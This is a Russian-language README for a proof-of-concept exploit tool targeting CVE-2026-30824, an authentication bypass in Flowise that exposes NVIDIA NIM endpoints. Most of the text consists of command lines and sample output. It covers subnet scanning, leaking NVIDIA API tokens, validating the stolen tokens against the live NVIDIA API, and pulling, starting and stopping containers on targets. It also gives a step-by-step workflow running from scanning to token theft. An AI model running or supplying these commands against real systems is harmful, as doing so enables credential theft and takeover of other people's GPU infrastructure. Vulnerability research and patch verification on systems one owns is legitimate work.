
Доказательство концепции эксплуатации для **CVE-2026-30824**, критической уязвимости обхода аутентификации в Flowise, которая раскрывает конечные точки NVIDIA NIM API без аутентификации.
Доказательство концепции: проверка и эксплойт для CVE-2026-30824, критической уязвимости обхода аутентификации в Flowise, которая открывает доступ к API-эндпоинтам NVIDIA NIM без аутентификации.
CVE-2026-30824 — это критический обход аутентификации в Flowise (< 3.0.13), который позволяет неаутентифицированным удалённым злоумышленникам получать доступ к управлению контейнерами NVIDIA NIM и эндпоинтам генерации API-токенов.
| Поле | Значение |
|---|---|
| Оценка CVSS | 9.8 (Критическая) |
| CWE | CWE-306: Отсутствие аутентификации для критической функции |
| Затронутые версии | Flowise < 3.0.13 |
| Воздействие | Полное управление контейнерами, доступ к GPU, кража токенов |
Путь /api/v1/nvidia-nim/* внесён в белый список глобального промежуточного ПО аутентификации, что позволяет неаутентифицированный доступ к:
✅ Обнаружение уязвимости — Быстрая проверка, уязвима ли цель
✅ Извлечение токенов — Утечка API-токенов NVIDIA из уязвимых эндпоинтов
✅ Проверка токенов — Верификация токенов через NVIDIA API (демонстрация радиуса поражения)
✅ Перечисление контейнеров — Список запущенных контейнеров NIM
✅ Пакетное сканирование — Сканирование нескольких целей из файла
✅ Обход SSL — Игнорирование самоподписанных сертификатов по умолчанию
✅ Цветной вывод — Удобные индикаторы статуса (зелёный/жёлтый/красный)
✅ Разведка — Полное картирование эндпоинтов и диагностика
requests# Клонируйте или скачайте скрипт
git clone <repository>
cd cve-2026-30824
# Установите зависимости
pip install -r requirements.txt
# или
pip install requests
# Проверка, уязвима ли одна цель
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Ожидаемый вывод (УЯЗВИМА):
# [+] Цель ВЫГЛЯДИТ УЯЗВИМОЙ (HTTP 200)
# Ответ: {...}
# Создайте targets.txt с одним URL на строку
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Сканирование всех целей (быстрый режим, без запросов)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Ожидаемый сводный вывод:
# ============================================================
# [*] Сводка сканирования
# ============================================================
# [+] УЯЗВИМЫХ: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] ИСПРАВЛЕНО: 1
# ✗ http://192.168.1.102:3000
# Утечка API-токена NVIDIA из уязвимого эндпоинта
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Ожидаемый вывод:
# [*] Попытка утечки API-токена NVIDIA...
# [+] API-токен NVIDIA: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Тип токена: Bearer
# [+] Срок действия: 3600s
# Проверка, что утёкший токен работает с реальным NVIDIA API
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Ожидаемый вывод:
# [*] Проверка токена через NVIDIA API...
# [+] Токен ДЕЙСТВИТЕЛЕН! Доступ к 45 моделям NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Перечисление контейнеров на цели
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Ожидаемый вывод:
# [*] Получение списка запущенных контейнеров...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Запуск всех проверок разведки на уязвимой цели
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Необязательные аргументы:
-h, --help Показать это справочное сообщение и выйти
-t, --target TARGET URL цели (например, http://192.168.1.100:3000)
-f, --targets-file FILE Файл со списком целей (по одной на строку)
Обнаружение уязвимости:
--check Только проверить, уязвима ли цель
--scan-only Сканировать цели на уязвимость без запросов
--debug Показать детали запросов и необработанные ответы
Эксплуатация:
--get-token Утечка API-токена NVIDIA
--validate-token TOKEN Проверить утёкший токен через NVIDIA API
--list-containers Список запущенных контейнеров NIM
--get-container CONTAINER_ID Получить детали контейнера
--get-image IMAGE_ID Получить детали образа
--pull-image IMAGE_TAG Загрузить Docker-образ (например, nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Запустить контейнер из тега образа
--container-name NAME Имя для запущенного контейнера
--stop-container CONTAINER_ID Остановить запущенный контейнер
--preload Запустить эндпоинт предварительной загрузки ресурсов
--all Запустить все проверки разведки
Дополнительно:
--timeout SECONDS Таймаут запроса в секундах (по умолчанию: 15)
# 1. Сканировать всю подсеть на уязвимые экземпляры
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Для каждой уязвимой цели извлечь токен
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Проверить воздействие токена
python3 CVE-2026-30824.py --validate-token "<extracted-token>"
# Проверить уязвимость и продемонстрировать полный радиус поражения
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Это выполнит:
# 1. Проверку уязвимости
# 2. Извлечение API-токена NVIDIA
# 3. Проверку токена через NVIDIA API
# 4. Список запущенных контейнеров
# 5. Перечисление ресурсов
# Периодический мониторинг цели (через cron или планировщик)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | Значение |
|---|---|
| 200 | ✅ Уязвимо (эндпоинт доступен) |
| 400 | ✅ Уязвимо (ошибка приложения, но эндпоинт существует) |
| 401 | 🟡 Исправлено (требуется аутентификация) |
| 404 | 🟡 Не Flowise или эндпоинт не существует |
| 5xx | 🔴 Ошибка сервера/неправильная конфигурация |
Проблема: Эндпоинт возвращает HTML-страницу вместо JSON-ответа API.